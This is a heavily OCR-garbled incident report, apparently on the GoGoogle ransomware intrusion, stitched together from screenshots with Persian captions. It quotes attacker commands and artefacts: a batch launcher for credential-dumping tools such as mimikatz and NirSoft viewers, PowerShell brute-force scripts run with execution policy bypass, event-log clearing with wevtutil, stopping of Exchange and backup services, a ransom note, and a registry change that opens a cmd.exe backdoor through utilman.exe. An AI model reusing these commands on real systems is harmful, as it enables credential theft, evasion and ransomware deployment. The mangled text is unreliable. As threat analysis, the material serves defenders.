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Attacker completes local
First evidence of attacker network reconasiance and
access to the system via Attacker drops toolkit and begins lateral movement
network alerting begins recon and disables using dumped AD

windows defender credentials
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E Advanced_IP_Scanner_2.5.3850,exe 3872020 2:51 AM Application 19,902 KE
|_'| Istart.crmd e 2019 4203 Ad Windows Comma 2 KB
62 lazagne.bat 31372019 E:04 PM Windows Batch File 1 KE
" lazagne.exe / 2,60
miparser.wbs 8/21/20N8 10:43 PM VEBScnpt Scrnipt File & KE
£ mimikatz.exe BAT 2018 5:49 AM Application 03 KB
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E3 RouterPassView.exe B
#® ChromePass.exe 1/27/2018 8:23 AM Application 233 KE
‘F‘a::wcrchxM.:x: 1175720017 %21 AM Application 139 KE
‘F‘a::wurdFux.r_x: 1175720017 %21 AM Applicatior 100 KB
ﬂW:bEruwS:rF‘uss‘Lﬁm.u: T//2017 &35 PM Applicatior 362 KB
PstPazsword, exe 172720017 12:02 PM Application 34 KB
Ll WirelessKeyViewtd exe 111072016 64 B
il WirelessKeyView.exe 111072016 E:42 AM Applicat E
ﬁ iepv.ex e B/16/2016 7:49 PM Applicatior 65 KB
T netpassBd.exe 8/2/2016 7:19 AM Application 125 KB
T netpass.exe 8/2/2016 7:19 AM Apolication 58 KB
% Dialupass.exe /262006 607 AM Applicatior &4 KB
mailpv.exe 6/26/2016 9:52 AM Applicatior 111 KB
E BulletsPassVWiew.exe 3/1/2015 1:03 PM Application 71 KB
E BulletsPassViewbd. exe 31,2015 1:03 PM Application a7 KB
5@ rdpv.exe 91772014 3:41 P Application 0 KE
ﬁ sniffPass.exe 91772014 11:34 AM Application 67 KB
ﬁSnlﬁF‘assM.Exe 91772014 11:30 AM Application 396 KB

AM Apolication 43 KB

JoPa

ﬂ: MSpass. ex e 91772014 B:54 AM Application 65 KB
[F] vMCPassView.exe 7/31/2014 843 AM Application 53 KE
# OperaPassView.exe 6/4/2013 4:42 AM Application 40 KB

y mimidre.sys 1/22/2013 6:50 AM System file 34 KB
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ChromePass, Dialupass, iepv, mailpv, mspass, OperaPassView, pspv, PstPassword, rdpv, RouterPassView,
WebBrowserPassView s VNCPassView

QS oo Bi> |, Mimikatz sla LG o7 5o g

start .%“passrecpk)\ChromePass.axe
start .%“passrecpkhDialupass.exe
start .%“passrecpkliiepv.exe

start .%“passrecpki\mailpv.exe

start .%“passrecpk\mspass.exe

start .%“passrecpkhOperaPassView.exe
start .%“passrecpklpspv.exe

start .%“passrecpk\PstPassword.exe
start .“passrecpki\rdpv.exe

start .%“passrecpkhRouterPassView.exe
start .%“passrecpki\VHNCPassWView.exe
start .%“passrecpk\WebBrowserPass\View.exe

REM del mimikatz.exe /F /O
REM del mimidrv.sys fF S0
REM del mimilib.dl11 /F /Q
REM del %@|

REM @echo.
REEM pause > nul
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&-’ Remote Desktop Pass¥iew ;IEIEI

File Edit Wiew Help
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_omputer Mame | Dormain | User Mame | Password # | Filename

21 iTestl Domaindl Adminiskrator 123456 F:\Documents and Setkin

| | »
|1 ikemi(s) | HirSoft Freeware. http:/iwww.nirsoft.net 4
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C:\\Windows\\System32\WindowsPower Shell\lv10\\powershel.exe \"C\\Windows\\System32\\WindowsPowerShellllv1.0\\powershellexel" -ExecutionPalicy Bypass -File \"\\\tsclient!lel\psWubrute.psi"
C\\Windows\\System32\WindowsPower Shell\iv101powershel.exe \"C:\\Windows!\System3 2\ WindowsPowerShelliiv1.0\\powershellexe\" -ExecutionPolicy Bypass -File \"\\\\tsclientilel\psiiadbrute. psT\" -NoExit
C:\\Windows!\System32\WindowsPowerShell\\v10\|\powershel.exe \"C:\\Windows!\System32YWindowsPower Shell|\v1.0l\powershellexe|" -ExecutionPolicy Bypass -Flle \"\\{\tsclienti\e\\ps\|Find-Pass.ps\" -NoExit
C:\\Windows\\System32\WindowsPower Shell\iv10\\powershel.exe \"C:\\Windows!\System32\WindowsPowerShellllv1.0l\powershellexe|" -ExecutionPolicy Bypass -File\\\itsclientl\el\ps\\NetADPC.ps!

C\\Windows\\Microsoft NET\\Framework4\v4.0.30319\\csc.exe \"C:\\Windows!\MicrosoftNET!\Framework64\\v4.0.30319\\csc exe\' fnoconfig fullpaths @\"C:\\Users\ MR\ ppData\\Locall\ Templ\p10addni|\p10addnicmdine\!
C-\\Windows\\System32|\netsh.exe \"C:\\Windows!\system32|netsh.exe\" advfirewall firewall set rule \"group=Network Discovery\" new enable=Yes
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Async Scannes | RDP Cache |

Machine 4 3 x! 1
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Pass # port closed
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o W Secanty
K Enter your credentials
b
9 These credentials wil be used to comect to [}
v 1
i i
: .
i &
~d ] [ Remember me
q
f ! More choicss
= — — = et a— |
Threads (50

GoGoogle ;lgc « id-ransomware lwg yol> Jb> 0 5 dw, o0 doox a5 4 ol ol >l LB

bild.exe |9330544a69b499f9b2ea79fd5a57bccc
a69b499f9b2ea79fd5a57bccciYY - 0¥ ¥
cf9b71e0f8cf3068977c670499ed816e1b65ab VY
ce23c95a5049ca6d9678f419848b3ace3f1la0cdd36d3867d7d827ab5f4e8AA 8

pU 5l ewiile 5 ool axigi GO (s b oS 5l ooby (A5 o e pedliise ml BB 05> (ouin b
Lol 03,5 solii.l demon777

@ Securityworld.ir Challenginno.ir



fhome/demon? 77/ Desktop/stadyilne shell.go

fhome/demon 77/ Desktop/stadylne/main.go

fhome/demon? 77 /Desktop/stadylne bat.go

Jusr/lib/go-114 srcfos/exec/lp windows.go

fusrflib/go-1.14/=rc/os/exec/exec_ windows.go

fusrflibfgo-1.14 /src/os/exec/exec.go

fusrflibfgo-1.14 =rc/path/filepath/match.go

fusrflibfgo-1.14/=rc/pathAfilepath/path windows.qo

Susr/lib/go-1.14 =rc/path/filepath/path.go

fusrflib/go-1.14/=rc/os/signal/signal unix.go

fusrflib/go-1.14/src/os/signal/signal.go

fhome/demony 77 go/src/github.comy/Sirupsen/logrus/exported.go

fhomeldemon? 7 gofsrc/github.com/Sirupsen/logrusftext formatter.go

Thome/demon 77 go/src/github. com/Sirupsen/logrus/terminal check windows.go

fhome/demon 77 gofsrc/github.com/Sirupsen/logrus/logrus.go

fhome/demony 77 go/src/github.com/Sirupsen/logrus/logger.go

fhome/demony 7 go/src/github.com/Sirupsen/logrus/json formatter.go

fhomeldemon 77 fgofsrcfgithub.com/Sirupsen/logrus/formatter.qo

SThome/demon 77 go/src/github.com/Sirupsen/logrus/entry.go
Shome/demon?7T/go/sre/github.com/konsorten/go-windows-terminal-sequences/seque

WMI, taskkill, WEVTUTIL wils jeaiss cilizes byl 51 ediS 63850, 1, o s 53l asay! 51 L
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CA\Windows\\System32\iweviutilexe

CA\Windows\\System32\iweviutil.exe

CHWindows\\System3 2} \wevtutil.exe

CA\Windows\\System32\iweviutilexe

CA\Windows\\System32\iweviutilexe

CA\Windows\\System32\iweviutil.exe

C\Windows\\System3 Z\\wevtutil.exe

CHWindows\\System3 2} \wevtutil.exe

CA\Windows\\System32\iweviutilexe

CA\Windows\\System32\iweviutil.exe

WEVTUTIL CL \"Microsoft-Windows-EventLog-WMIProvider/Debug\"
WEWVTUTIL CL \"Microsoft-Windows-WMI-Activity/Debug)"
WEVTUTIL CL \"Microsoft-Windows-WMI-Activity/Operationall”
WEVTUTIL CL \"Microsoft-Windows-WM|-Activity/Tracel"

WEVTUTIL CL\"SmBWmiAnalyticl'

weviutl.exe

wevtutil.exe

wevtutil.exe

weviutl.exe

weviutl.exe

cl \"Microsoft-Windows-EveniLog-WMIProvider/Debug\”
cl \"Microsoft-Windows-WMI-Activity/Debug)"

cl \"Microsoft-Windows-WMI-Activity/Operationali”

cl \'"Microsoft-Windows-WMI-Activity/Trace\"

cl\"SmBWmiAnalyticy”

10l bgie a5 olaan] sl Jle

CWindows\\System32iinetl.exe

C\Windows\|System32\net.exe

C\Windowsl|System32inetl.exe

C\\Windows\\System32\inet.exe

CWindows\\System32iinetl.exe

CiWindows\\System32\net.exe

CWindows\\System32iinetl.exe

C\Windows\|System32\net.exe

CitWindows\\System32iinetl.exe

CiWindows\\System32\net.exe

CWindows\\System32iinetl.exe

CWindows\|System32i\net.exe

C\Windows\\system32i\net] stop MSExchangePOP3BE

net stop MSExchangeRepl

CiiWindowslisystem3 2\inet] stop MSExchangeRepl

net stop MSExchangeRPC

Cl\Windows\\system32iinet] stop MSExchangeRPC

net stop MSExchangeServiceHost

C\Windows\\system32i\net] stop MSExchangeServiceHost

net stop MSExchangeSubmission

Cl\Windows\\system32iinet] stop MSExchangeSubmission

net stop MSExchangeThrottling

C\Windows\\system32iinet] stop MSExchangeThrottling

net stop MSExchangeTransport
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AcronisActiveProtectionService,AcronisAgent,AcronisMonitoringService,AcronisZmqGw,AcrSch2Svc,Ado
(beActiveFileMonitor10.0,AdobeARMservice,AdobeFlashPlayerUpdateSvc,AdobeUpdateServi

L oles sl Jeosl oyl o3l g 09 ID S Jolis s axislas 8L as” (Ransom Note) zL coslosly

Hello,

STY) qq.com ™9 LY O;Lsa oolaw! QL"-”'LQ"’

your files have been encrypted! To return the files, message us at dofJlllpaqq.com or do-lpﬁqu.cum

Please type us your ID: A-I‘:

You can send us any two encrypted files and we will decrypt them to prove our honesty.

Attention!!! Do not try to recover the files yourself, you will damage them and recovery with our key will become impossible.
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oloys b ay o yiws Sl a5 Utilman.exe iy o 5l eslinl b wisgts ST JolS jsboay e

C\\Windows|\SysWOWBdl\req.exe

C:\\Windows|\SysWOW64\\reg.exe

C:\\Windows\\SysWOWB4\\reg.exe

C:\Windows!\SysWOWG4\\reg.exe

\'C:\\Windowsi\system32\\reg.exe|" ADD \"HKLMS OF TWARE\\Microsoft|\Windows NT\\CurrentVersioni\image File Execution Options\\utiman.exe\" /ffv Debugger /t REG_SZ fd %%windir % %\system3 2ljcmd.exe
\'C:\\Windowsl\sy stem32!\reg.exel" ADD \'HKLM|\S OF TWARE\\Microsoft|\Windows NT\\CurrentVersioni\Image File Execution Options\\taskmyr.exe" /f /v Debugger /t REG_SZ /d\'Hatkey Disabled\"

\"C:\\Windows\\system32\\reg.exel" ADD \"HKLMI\SOF TWAREN\Microsoft\\Windows NT\\CurrentVersiontimage File Execution Options\\utiman.exe\" /f/fv Debugger /t REG_SZ fd %S%windir% %\\system32\icmd.exe

\"C:{\Windows|\sy stem32\\reg.exe|" ADD \"HKLMI\SOF TWARE||Microsoft|\Windows NT\\CurrentVersioni\Image File Execution Options\\taskmar.exe" /f v Debugger /t REG_SZ [d\'Hotkey Disabled|"
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https://thedfirreport.com/2020/04/04/gogoogle-ransomware/
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